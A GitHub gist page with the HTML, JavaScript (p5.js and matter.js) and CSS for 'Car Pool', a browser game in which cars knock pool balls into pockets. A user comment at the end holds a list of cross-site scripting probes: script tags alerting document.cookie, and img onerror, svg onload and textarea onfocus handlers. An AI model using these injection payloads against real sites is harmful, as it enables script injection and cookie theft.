Skip to content

Instantly share code, notes, and snippets.

@harunpehlivan
Created May 30, 2021 12:42
Show Gist options
  • Select an option

  • Save harunpehlivan/a05d445967f76058d04c3438626473b1 to your computer and use it in GitHub Desktop.

Select an option

Save harunpehlivan/a05d445967f76058d04c3438626473b1 to your computer and use it in GitHub Desktop.
Car Pool (GAME)
<div id="start-screen">
<div id="start-screen-content">
<h1>Car Pool</h1>
<div class="flexcontainer">
<div class="row">
<div class="instructions">Play pool by knocking billiard balls into pockets by hitting them with your car</div>
<div class="instructions">
<img src="http://res.cloudinary.com/dkw0kkkgd/image/upload/v1504900388/cars_ujet7u.png" height="89" width="148" >
</div>
</div>
<div class="row">
<div class="instructions">
<img src="http://res.cloudinary.com/dkw0kkkgd/image/upload/v1504900245/poolBalls_c2uw9b.png" height="100" width="94">
</div>
<div class="instructions">Knock in all of the striped balls before the computer player knocks in all of the solids</div>
</div>
<div class="row">
<div class="instructions">Use the arrow keys to drive the car and use the spacebar to boost</div>
<div class="instructions">
<img src="http://res.cloudinary.com/dkw0kkkgd/image/upload/v1481315302/Arrow-keys_utpewf.jpg" height="60" width="92">
</div>
</div>
<div class="row">
<div class="instructions">
<img src="http://res.cloudinary.com/dkw0kkkgd/image/upload/v1505245999/ghost_gjwqpc.png" height="70" width="140">
</div>
<div class="instructions">Avoid hitting the <strong>8 Ball</strong> or your car will be disabled for 8 seconds!</div>
</div>
</div>
<button id="play">Play</button>
</div>
</div>
// labelled rgb values
const COLORS = {
"red": [255, 0, 0],
"dimRed": [255, 0, 0, 75],
"maroon": [128, 0, 0],
"orange": [255, 165, 0],
"yellow": [255, 255, 0],
"green": [0, 90, 0],
"purple": [85, 26, 139],
"blue": [0, 0, 255],
"white": 255,
"black": 0,
"lightBlack": 54,
"blueGreen": [13, 186, 148],
"darkBlueGreen": [11, 130, 90],
"tableWood": [170,114,67]
}
class Wall {
constructor(x, y, w, h, a) {
const options = {
friction: 0.5,
restitution: 0.5,
angle: a,
isStatic: true
}
this.body = Bodies.rectangle(x, y, w, h, options);
this.body.label = "wall";
this.x = x;
this.y = y;
this.w = w;
this.h = h;
this.a = a;
World.add(world, this.body);
}
render() {
push();
fill(COLORS.tableWood);
noStroke();
translate(this.x, this.y)
rotate(this.a);
rectMode(CENTER);
rect(0, 0, this.w, this.h);
pop();
}
}
class Bumper {
constructor(x, y, w, h, a) {
const options = {
friction: 0.5,
restitution: 0.5,
angle: a,
isStatic: true
}
// x, y, width, height, slope, [options]
this.body = Bodies.trapezoid(x, y, w, h, 0.13, options);
this.body.label = "bumper";
this.x = x;
this.y = y;
this.w = w;
this.h = h;
this.a = a;
this.vertices = this.body.vertices.reduce((accumulator, vertex) => {
const v = [ vertex.x, vertex.y ];
return accumulator.concat(v)
}, []);
World.add(world, this.body);
}
render() {
const v = this.vertices;
push();
fill(COLORS.darkBlueGreen);
noStroke();
quad(v[0], v[1], v[2], v[3], v[4], v[5], v[6], v[7]);
pop();
}
}
class Pocket {
constructor(x, y, r, isMiddle) {
this.x = x;
this.y = y;
this.radius = r;
this.isMiddle = isMiddle;
const options = { isStatic: true }
this.body = Bodies.circle(x, y, r/6, options);
this.body.label = "pocket";
World.add(world, this.body);
}
render() {
fill(COLORS.black);
noStroke();
if (this.isMiddle) {
const yAdjustment = this.y < height/2 ? -height/64 : height/64;
ellipse(this.x, this.y + yAdjustment, this.radius);
} else {
ellipse(this.x, this.y, this.radius);
}
}
}
class Ball {
constructor(number, x, y) {
this.position = createVector(x, y)
this.radius = width/32
this.number = number
const options = {
restitution: 0.9,
friction: 0.001,
density: 0.0001
}
this.body = Bodies.circle(
this.position.x, this.position.y, this.radius/2, options
)
this.number !== 8 ? this.body.label = "ball" : this.body.label = "eightBall";
this.id = this.body.id;
World.add(world, this.body)
}
update() {
this.position.x = this.body.position.x;
this.position.y = this.body.position.y;
}
ballType() {
if (this.number === 8) { return "eight" };
return this.number < 8 ? "solid" : "stripe";
}
drawSolid(number, color) {
fill(color)
ellipse(0, 0, this.radius)
fill(COLORS.white)
ellipse(0, 0, this.radius/2)
fill(COLORS.black)
textAlign(CENTER, CENTER);
text(number, 0, 0)
}
drawStripe(number, color) {
fill(COLORS.white)
ellipse(0, 0, this.radius)
fill(color)
rectMode(CENTER);
rect(0, 0, this.radius, this.radius/2, this.radius/(2*PI))
fill(COLORS.white)
ellipse(0, 0, this.radius/2)
fill(COLORS.black)
textAlign(CENTER, CENTER);
text(number, 0, 0)
}
displaySolidBall(number) {
switch (number) {
case 1 : this.drawSolid(number, COLORS.yellow); break;
case 2 : this.drawSolid(number, COLORS.blue); break;
case 3 : this.drawSolid(number, COLORS.red); break;
case 4 : this.drawSolid(number, COLORS.purple); break;
case 5 : this.drawSolid(number, COLORS.orange); break;
case 6 : this.drawSolid(number, COLORS.green); break;
case 7 : this.drawSolid(number, COLORS.maroon); break;
case 8 : this.drawSolid(number, COLORS.black); break;
default: break;
}
}
displayStripedBall(number) {
switch (number) {
case 9 : this.drawStripe(number, COLORS.yellow); break;
case 10: this.drawStripe(number, COLORS.blue); break;
case 11: this.drawStripe(number, COLORS.red); break;
case 12: this.drawStripe(number, COLORS.purple); break;
case 13: this.drawStripe(number, COLORS.orange); break;
case 14: this.drawStripe(number, COLORS.green); break;
case 15: this.drawStripe(number, COLORS.maroon); break;
default: break;
}
}
displayBall(number) {
number <= 8 ? this.displaySolidBall(number) : this.displayStripedBall(number);
}
render() {
push()
translate(this.body.position.x, this.body.position.y)
rotate(this.body.angle)
this.displayBall(this.number)
pop()
}
}
class Car {
constructor(isPlayer) {
this.isPlayer = isPlayer;
this.position = createVector(width/6, height/2)
this.width = width/36
this.length = this.width * 2
this.isAccelerating = false
this.isBoosting = false
this.accelerationDirection = 'forwards'
this.rotation = 0
this.color = COLORS.white
this.history = [];
const options = { density: 1, friction: 0.2, mass: 125 }
this.body = Bodies.rectangle(
this.position.x, this.position.y, this.length, this.width, options
)
this.body.label = 'car';
this.ghost = false;
this.velocity = createVector(this.body.velocity.x, this.body.velocity.y);
World.add(world, this.body)
}
update() {
if (this.isAccelerating) {
this.accelerate(this.accelerationDirection)
}
this.rotate(this.rotation)
this.history.push([this.body.position.x, this.body.position.y]);
if (this.history.length > exaustClouds) {
this.history.splice(0, 1);
}
this.position.x = this.body.position.x;
this.position.y = this.body.position.y;
this.velocity.x = this.body.velocity.x;
this.velocity.y = this.body.velocity.y;
this.keepInBounds()
}
accelerating(isAccelerating) {
this.isAccelerating = isAccelerating
}
accelerate(direction) {
const force = p5.Vector.fromAngle(this.body.angle)
const fVal = this.isBoosting ? 0.10 : 0.02;
direction === 'forwards' ? force.mult(fVal) : force.mult(-fVal);
Body.applyForce(this.body, this.body.position, force)
}
rotate(rotation) {
this.rotation = rotation
Body.setAngularVelocity(this.body, rotation)
}
boost() {
if (this.accelerationDirection === 'forwards') {
this.isBoosting = true;
setTimeout(function() {
this.isBoosting = false;
}.bind(this), 1000);
}
}
// for computer player. weird way to find correct way to rotate...
pointTowardsBall(ball) {
const leftVelocity = this.velocity.copy();
const rightVelocity = this.velocity.copy();
const leftRotatedVelocity = leftVelocity.rotate(-PI/36);
const leftAdjustedPosition = createVector(this.position.x + leftRotatedVelocity.x, this.position.y + leftRotatedVelocity.y);
const desiredLeft = p5.Vector.sub(ball.position, leftAdjustedPosition);
const rightRotatedVelocity = rightVelocity.rotate(PI/36);
const rightAdjustedPosition = createVector(this.position.x + rightRotatedVelocity.x, this.position.y + rightRotatedVelocity.y);
const desiredRight = p5.Vector.sub(ball.position, rightAdjustedPosition);
// boost to faraway ball
if (desiredLeft.mag() > 150) { this.boost() };
const steerMag = desiredLeft.mag() - desiredRight.mag();
const dir = this.accelerationDirection === 'forwards' ? 1 : -1;
let rotation = map(steerMag, -0.5, 0.5, -dir * PI/72, dir * PI/72);
this.rotate(rotation);
}
checkIfNeedToGoInReverse() {
const epsilon = 0.005;
const x = this.position.x;
const y = this.position.y;
// only reverse near the edges/pockets
// (width/144 is the pocket collision radius)
const offset = this.length + visibleWallOffset + width/144;
if (x > width - offset ||
x < offset ||
y > height - offset ||
y < offset) {
if (Math.abs(this.velocity.x) < epsilon || Math.abs(this.velocity.y) < epsilon) {
this.accelerateBackwards()
}
}
}
accelerateBackwards() {
this.accelerationDirection = 'backwards';
this.isBoosting = false;
setTimeout(function() {
this.accelerationDirection = 'forwards'
}.bind(this), 1000);
}
eightBallCollision() {
this.ghost = true;
this.body.label = 'ghost';
this.body.isSensor = true;
setTimeout(function() {
this.ghost = false;
this.body.label = 'car';
this.body.isSensor = false;
}.bind(this), 8000)
}
keepInBounds() {
// body is in sensor mode when in 8 ball punishment state
// so collisions are no longer happening
// need to keep body position within table bounds
const visibleWallOffset = width/32;
const bumperThickness = width/108;
const edgeOffset = visibleWallOffset + bumperThickness;
const xPos = this.body.position.x;
const yPos = this.body.position.y;
let x = xPos, y = yPos;
if (xPos < edgeOffset) {
x = edgeOffset + 1;
}
if (xPos > width - edgeOffset) {
x = width - edgeOffset - 1
}
if (yPos < edgeOffset) {
y = edgeOffset + 1
}
if (yPos > height - edgeOffset) {
y = height - edgeOffset - 1
}
Body.setPosition(this.body, { x, y });
}
render() {
const angle = this.body.angle;
const alpha = this.ghost ? 54 : 255;
push()
rectMode(CENTER)
translate(this.body.position.x, this.body.position.y)
fill(54, alpha);
noStroke();
const label = this.isPlayer ? "player" : "computer";
text(label, -this.width/2, -this.length/2);
rotate(angle);
stroke(0, alpha);
// tires
fill(COLORS.lightBlack, alpha)
ellipse(this.length/3, -this.width/2, this.width/4, this.width/8)
ellipse(this.length/3, this.width/2, this.width/4, this.width/8)
ellipse(-this.length/3, -this.width/2, this.width/4, this.width/8)
ellipse(-this.length/3, this.width/2, this.width/4, this.width/8)
// car body
fill(this.color, alpha)
rect(0, 0, this.length, this.width, 5);
fill(COLORS.lightBlack, alpha);
rect(-this.length/24, 0, 0.7 * this.length, 0.8 * this.width, 5);
fill(this.color, alpha);
rect(-this.length/12, 0, 0.45 * this.length, 0.6 * this.width, 5);
// headlights
fill(255, 255, 200, alpha);
ellipse(this.length * 0.45, -this.width/3, this.width/8, this.width/4);
ellipse(this.length * 0.45, this.width/3, this.width/8, this.width/4);
const reversing = this.accelerationDirection === 'backwards' && this.isAccelerating;
// bright lights on the back of car when reversing
reversing ? fill(...COLORS.red, alpha) : fill(...COLORS.dimRed, alpha);
noStroke();
ellipse(-this.length * 0.45, -this.width/3, this.width/8, this.width/8);
ellipse(-this.length * 0.45, this.width/3, this.width/8, this.width/8);
// if boosting draw flames
if (this.isBoosting) {
fill(255, random(0, 255), 0, alpha);
// x1, y1, x2, y2, x3, y3
triangle(-this.length*0.5, -this.width/8, -this.length*0.5, this.width/8, -this.length, random(-this.width*0.15, this.width*0.15))
}
pop()
push()
noStroke();
const carWidth = this.width;
this.history.forEach(function(h, i) {
const [ x, y ] = h
push()
translate(x, y)
rotate(angle);
fill(COLORS.black, i);
ellipse(-carWidth, 0, exaustClouds - i + random(-10, 10), exaustClouds - i + random(-3, 3));
pop()
})
pop()
}
}
const Engine = Matter.Engine;
const World = Matter.World;
const Bodies = Matter.Bodies;
const Body = Matter.Body;
const Events = Matter.Events;
let engine;
let world;
const exaustClouds = 25;
let car;
let computerCar;
let balls = [];
let walls = [];
let bumpers = [];
let pockets = [];
let visibleWallOffset;
let ballComputerIsFocusedOn;
let computersBallType = 'solid';
let gameStarted = false;
let replayButton;
let countdownMode = true;
let countdownText;
let eightBallEarthquake = false;
function resetGame() {
replayButton.hide();
// remove previous balls and setup new balls
balls.forEach(b => {
World.remove(world, b.body);
})
balls = [];
setupRackOfBalls();
updateCountdownOverlay();
// remove previous cars and setup new cars
World.remove(world, car.body);
World.remove(world, computerCar.body);
car = new Car(isPlayer = true)
computerCar = new Car(isPlayer = false);
computerCar.accelerating(true);
}
function setup() {
const h = min(window.innerHeight, window.innerWidth / 2);
// keep table dimensions nice
const w = min(window.innerWidth, h * 2);
createCanvas(w, h);
visibleWallOffset = width/32;
engine = Engine.create();
world = engine.world;
// disable matter.js gravity (top-down game)
engine.world.gravity.y = 0;
//collision detection (pockets should make balls disappear)
Events.on(engine, 'collisionStart', collision);
addWalls();
addBumpers();
addPockets();
car = new Car(isPlayer = true)
// computer always accelerates (TODO: AI)
computerCar = new Car(isPlayer = false);
computerCar.accelerating(true);
replayButton = createButton("Play Again");
replayButton.addClass('replay-button');
replayButton.hide();
replayButton.mousePressed(resetGame);
const playButton = select('#play');
const startScreen = select('#start-screen');
playButton.mouseClicked(function() {
startScreen.hide();
setupRackOfBalls();
updateCountdownOverlay();
gameStarted = true;
});
}
function collision(event) {
const pairs = event.pairs;
for (let i = 0; i < pairs.length; i++) {
const labelA = pairs[i].bodyA.label;
const labelB = pairs[i].bodyB.label;
if (labelA === 'pocket' && labelB === 'ball') {
removeBall(pairs[i].bodyB);
} else if (labelA === 'ball' && labelB === 'pocket') {
removeBall(pairs[i].bodyA);
} else if (labelA === 'eightBall' && labelB === 'car') {
eightBallHit(pairs[i].bodyB);
} else if (labelA === 'car' && labelB === 'eightBall') {
eightBallHit(pairs[i].bodyA);
} else if ((labelA === 'ball' || labelA === 'eightBall') &&
labelB === 'wall') {
// matterjs BUG: ball has gone through bumper
resetBallPosition(pairs[i].bodyA);
} else if ((labelB === 'ball' || labelB === 'eightBall') &&
labelA === 'wall') {
// matterjs BUG: ball has gone through bumper
resetBallPosition(pairs[i].bodyB);
}
}
}
function resetBallPosition(ballBody) {
const ballId = ballBody.id;
const matches = balls.filter(b => b.body.id === ballId);
const ball = matches.length > 0 ? matches[0] : null;
if (ball) {
setBallBackInBounds(ball);
}
}
function setBallBackInBounds(ball) {
const visibleWallOffset = width/32;
const bumperThickness = width/108;
const edgeOffset = visibleWallOffset + bumperThickness;
const xPos = ball.body.position.x;
const yPos = ball.body.position.y;
let x = xPos, y = yPos;
if (xPos < edgeOffset) {
x = edgeOffset + 1;
}
if (xPos > width - edgeOffset) {
x = width - edgeOffset - 1
}
if (yPos < edgeOffset) {
y = edgeOffset + 1
}
if (yPos > height - edgeOffset) {
y = height - edgeOffset - 1
}
Body.setPosition(ball.body, { x, y });
}
function eightBallHit(carBody) {
const playerId = car.body.id;
const computerId = computerCar.body.id;
if (playerId === carBody.id) {
car.eightBallCollision();
} else if (computerId === carBody.id) {
computerCar.eightBallCollision();
}
eightBallEarthquake = true;
setTimeout(function() { eightBallEarthquake = false }, 1000);
}
function updateCountdownOverlay(msgIdx = 0) {
let msgs = ['3', '2', '1', 'GO!'];
countdownText = msgs[msgIdx];
countdownMode = true;
if (msgIdx === msgs.length) {
countdownMode = false;
} else {
setTimeout(function() {
updateCountdownOverlay(msgIdx + 1)
}, 1000);
}
}
function drawCountdownOverlay() {
push();
// draw grayed out background
fill(0, 105);
rect(0, 0, width, height);
// text settings
textAlign(CENTER, CENTER);
const size = width > 600 ? 256 : 128;
textSize(size);
fill(255);
noStroke();
// countdownText is a global variable (can be '3', '2', '1', or 'GO!')
text(countdownText, width/2, height/2);
pop();
}
function removeBall(body) {
const bodyId = body.id;
World.remove(world, body);
for (let i = balls.length - 1; i >= 0; i--) {
if (bodyId == balls[i].id) {
balls.splice(i, 1);
}
}
}
// helper method to shuffle ball order
function shuffleArray(array) {
for (var i = array.length - 1; i > 0; i--) {
var j = Math.floor(Math.random() * (i + 1));
[array[i], array[j]] = [array[j], array[i]];
}
return array;
}
function getRandomizedBallOrderArray() {
let solidBalls = [1, 2, 3, 4, 5, 6, 7];
let stripedBalls = [9, 10, 11, 12, 13, 14, 15];
// eight ball in the back middle. everything else is random.
let nonEightBalls = solidBalls.concat(stripedBalls);
shuffleArray(nonEightBalls);
let firstTwelve = nonEightBalls.slice(0, 12);
let firstThirteen = firstTwelve.concat(8);
let lastTwo = nonEightBalls.slice(12, 14);
const randomizedBallOrderArray = firstThirteen.concat(lastTwo);
return randomizedBallOrderArray;
}
function setupRackOfBalls() {
const centerX = 0.68 * width;
const centerY = 0.5 * height;
const ballDiameter = width/32;
const ballNums = getRandomizedBallOrderArray();
let row = 1;
let y = centerY;
let x = centerX + ballDiameter;
balls.push(new Ball(ballNums[0], x, y));
for (let i = 1; i <= 14; i++) {
if ([1, 3, 6, 10].indexOf(i) > -1) {
row++;
x += ballDiameter;
y = centerY - ((row - 1) * ballDiameter * 0.5)
} else {
y += ballDiameter;
}
balls.push(new Ball(ballNums[i], x, y));
}
}
function keyReleased() {
if (keyCode == UP_ARROW || keyCode == DOWN_ARROW) {
car.accelerating(false)
} else if (keyCode == RIGHT_ARROW || keyCode == LEFT_ARROW) {
car.rotate(0)
}
}
function keyPressed() {
if (keyCode === RIGHT_ARROW) {
car.rotate(PI/72)
} else if (keyCode === LEFT_ARROW) {
car.rotate(-PI/72)
} else if (keyCode === UP_ARROW) {
car.accelerationDirection = 'forwards';
car.accelerating(true)
} else if (keyCode === DOWN_ARROW) {
car.accelerationDirection = 'backwards';
car.isBoosting = false;
car.accelerating(true)
} else if (keyCode === 32) {
car.boost();
car.accelerationDirection = 'forwards';
car.accelerating(true);
} else if (keyCode === 80) {
gameStarted = !gameStarted;
}
}
function draw() {
if (eightBallEarthquake) {
translate(random(-10, 10), random(-10, 10))
}
if (gameStarted) {
drawGame();
if (countdownMode) { drawCountdownOverlay() };
let gameOver = isGameOver();
if (!gameOver) { updateGame() };
}
}
function updateGame() {
Engine.update(engine);
if (!countdownMode) {
car.update();
computerCar.update();
};
balls.forEach(b => b.update())
closestBall = findClosestBall(computersBallType);
if (closestBall) {
computerCar.pointTowardsBall(closestBall);
}
computerCar.checkIfNeedToGoInReverse();
}
function drawGame() {
drawPoolTable()
car.render()
balls.length > 0 ? balls.forEach(b => b.render()) : setupRackOfBalls();
computerCar.render();
}
function isGameOver() {
let gameOver = false;
const stripes = balls.filter(b => b.ballType() === 'stripe').length;
const solids = balls.filter(b => b.ballType() === 'solid').length;
if (stripes === 0) {
gameOver = true;
this.gameOver(winner = "stripe");
} else if (solids === 0) {
gameOver = true;
this.gameOver(winner = "solid");
}
return gameOver;
}
function gameOver(winner) {
replayButton.show();
const winningPlayer = computersBallType === winner ? 'Computer' : 'Player';
push();
fill(0, 105);
rect(0, 0, width, height);
textAlign(CENTER, CENTER);
const size = width > 600 ? 32 : 24;
textSize(size);
fill(255);
noStroke();
text(`All ${winner}s sunk! ${winningPlayer} wins!`, width/2, height/4);
pop();
}
function findClosestBall(ballType) {
let closestDistance = Number.MAX_SAFE_INTEGER;
let closestBall = null;
const firstBall = ballType === 'solid' ? 1 : 9;
const lastBall = ballType === 'solid' ? 7 : 15;
let currentBall; let currentDistance;
// array indexing so subtract one
for (let i = firstBall - 1; i <= lastBall - 1; i++) {
currentBallArray = balls.filter(b => b.number === i);
if (currentBallArray.length > 0) {
currentBall = currentBallArray[0];
currentDistance = distanceBetween(computerCar, currentBall);
if (currentDistance < closestDistance) {
closestDistance = currentDistance;
closestBall = currentBall;
}
}
}
return closestBall;
}
function distanceBetween(object1, object2) {
const a2 = Math.pow(object1.position.x - object2.position.x, 2);
const b2 = Math.pow(object1.position.y - object2.position.y, 2);
return a2 + b2;
}
function drawPoolTable() {
background(COLORS.blueGreen);
walls.forEach(w => w.render());
bumpers.forEach(b => b.render());
pockets.forEach(p => p.render());
}
function addWalls() {
const wallThickness = 500;
const wt2 = wallThickness/2;
bottomWall = new Wall(width/2, height + wt2 - visibleWallOffset, width, wallThickness, 0);
topWall = new Wall(width/2, -wt2 + visibleWallOffset, width, wallThickness, 0);
leftWall = new Wall(-wt2 + visibleWallOffset, height/2, height, wallThickness, PI/2);
rightWall = new Wall(width + wt2 - visibleWallOffset, height/2, height, wallThickness, PI/2);
walls.push(topWall); walls.push(bottomWall);
walls.push(leftWall); walls.push(rightWall);
}
function addBumpers() {
const bumperThickness = width/108;
const adjustedWidth = width - visibleWallOffset*2;
bottomLeftBumper = new Bumper(adjustedWidth/4 + visibleWallOffset, height - visibleWallOffset, adjustedWidth/2, bumperThickness, 0);
bottomRightBumper = new Bumper(3*adjustedWidth/4 + visibleWallOffset, height - visibleWallOffset, adjustedWidth/2, bumperThickness, 0);
topLeftBumper = new Bumper(adjustedWidth/4 + visibleWallOffset, visibleWallOffset, adjustedWidth/2, bumperThickness, -PI);
topRightBumper = new Bumper(3*adjustedWidth/4 + visibleWallOffset, visibleWallOffset, adjustedWidth/2, bumperThickness, -PI);
leftBumper = new Bumper(visibleWallOffset, height/2, height - visibleWallOffset*2, bumperThickness, PI/2);
rightBumper = new Bumper(width - visibleWallOffset, height/2, height - visibleWallOffset*2, bumperThickness, -PI/2);
bumpers.push(topLeftBumper); bumpers.push(topRightBumper);
bumpers.push(leftBumper); bumpers.push(rightBumper);
bumpers.push(bottomLeftBumper); bumpers.push(bottomRightBumper);
}
function addPockets() {
const radius = width/24,
topY = visibleWallOffset,
bottomY = height - visibleWallOffset,
leftX = visibleWallOffset,
middleX = width/2,
rightX = width - visibleWallOffset;
[leftX, middleX, rightX].forEach((x) => {
[topY, bottomY].forEach((y) => {
if (x === middleX) {
pockets.push(new Pocket(x, y, radius, isMiddle = true));
} else {
pockets.push(new Pocket(x, y, radius, isMiddle = false));
}
})
})
}
<script src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/0.5.11/p5.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/0.5.12/addons/p5.dom.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/matter-js/0.12.0/matter.min.js"></script>
html, body {
margin: 0;
padding: 0;
}
canvas,
.replay-button {
position: absolute;
top: 0;
bottom: 0;
left: 0;
right: 0;
margin: auto;
z-index: -1;
}
.replay-button {
font-size: 24px;
color: #333;
width: 200px;
height: 80px;
background: white;
border-radius: 5px;
border: none;
z-index: 999999999;
cursor: pointer;
}
#start-screen {
font-family: arial, sans-serif;
text-align: center;
display: flex;
flex-direction: column;
justify-content: center;
min-height: 100vh;
z-index: 99999999;
background: #ddd;
}
#start-screen-content {
background: white;
margin: 0 auto;
padding: 20px;
max-width: 768px;
border-radius: 5px;
box-shadow: 0 1px 3px rgba(0,0,0,0.12), 0 1px 2px rgba(0,0,0,0.24);
transition: all 0.3s cubic-bezier(.25,.8,.25,1);
}
.flexcontainer {
display: -webkit-flex;
display: flex;
-webkit-flex-direction: column;
flex-direction: column;
justify-content: space-between;
}
.row {
flex: 1;
padding: 10px;
}
.row:not(:last-child) {
border-bottom: 1px solid lightgrey;
}
.instructions {
display: inline-block;
width: calc(50% - 20px);
}
#play {
background: #0dba94;
color: white;
margin-top: 10px;
cursor: pointer;
font-size: 32px;
letter-spacing: 2px;
padding: 20px 60px;
border: none;
border-radius: 5px;
}
div {
vertical-align: middle;
}
h1 {
font-size: 64px;
margin: 0;
padding: 0;
}
@media (max-width: 600px) {
.replay-button {
font-size: 16px;
height: 60px;
}
}
@lutfimuhammad2505
Copy link

hello”><IMG “””><SCRIPT>alert(document.cookie)</SCRIPT>”>

"><IMG SRC="https://k.top4top.io/p_1954bxzav0.jpg"ONERROR=JAVASCRIPT:ALERT(6)>

">

<script>alert(1337);</script> <ScRipT>alert("XSS");</ScRipT> <script>alert(2505)</script> <script>alert("hello ratu");</script> <script>alert(“aku”)</script> <script>alert(“xss”);</script> <script>alert("ya")</script>

“><script>alert(“sayang”)</script>

<script>alert("wkkwkwkw”)</script> <script>prompt(>//<)</script>

</script><script>alert("Izzy")</script>

<>">"/>/">'>'/>/'>/>> <img/src=("RATUXPLOIT");>onerror=prompt(1);>

CLICKME "> "><svg/onload=prompt(1);> "> <textarea autofocus onfocus=alert(1)> "> ">

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment